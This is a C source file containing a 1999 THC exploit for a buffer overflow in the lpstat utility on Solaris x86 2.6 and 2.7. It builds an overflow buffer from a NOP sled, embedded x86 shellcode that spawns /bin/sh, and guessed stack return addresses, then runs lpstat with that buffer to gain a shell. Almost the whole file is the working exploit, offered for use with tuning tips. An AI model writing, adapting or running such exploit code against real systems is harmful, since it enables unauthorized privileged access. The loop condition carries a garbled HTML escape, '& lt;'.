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lpstat.c
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C/C++ Source or Header
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2005-02-12
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2KB
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65 lines
/*
* lpstat sploit for solaris x86 2.6 and 2.7
* by plasmoid/deep/thc <plasmoid@thc.org> (c) 1999
* supported by insected and wilkins
*
* THC - The Hacker's Choice
*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shell[] =
"\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
"\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
"\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
"\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
"\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
"\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";
const int buffersize = 1100;
const char x86_nop = 0x90;
long nop, esp;
long offset = 0;
char buffer[2000];
long get_esp()
{
__asm__("movl %esp,%eax");
}
int main(int argc, char *argv[])
{
int i;
/* you shouldn't edit the offset, we run with
800 nops in 1100 bytes buffer, one of those
nops should be hit */
if (argc > 1)
offset = strtol(argv[1], NULL, 0);
/* if you don't succeed, modify the nop count,
the standart value of 801 bybtes is quite
strange enuff */
if (argc > 2)
nop = strtoul(argv[2], NULL, 0);
else
nop = 801;
esp = get_esp();
memset(buffer, x86_nop, buffersize);
memcpy(buffer + nop, shell, strlen(shell));
for (i = nop + strlen(shell); i & lt; buffersize - 4; i += 4)
*((int *) &buffer[i]) = esp + offset;
execl("/usr/bin/lpstat", "lpstat", "-c", buffer, NULL);
printf("exec failed!\n");
return 0;
}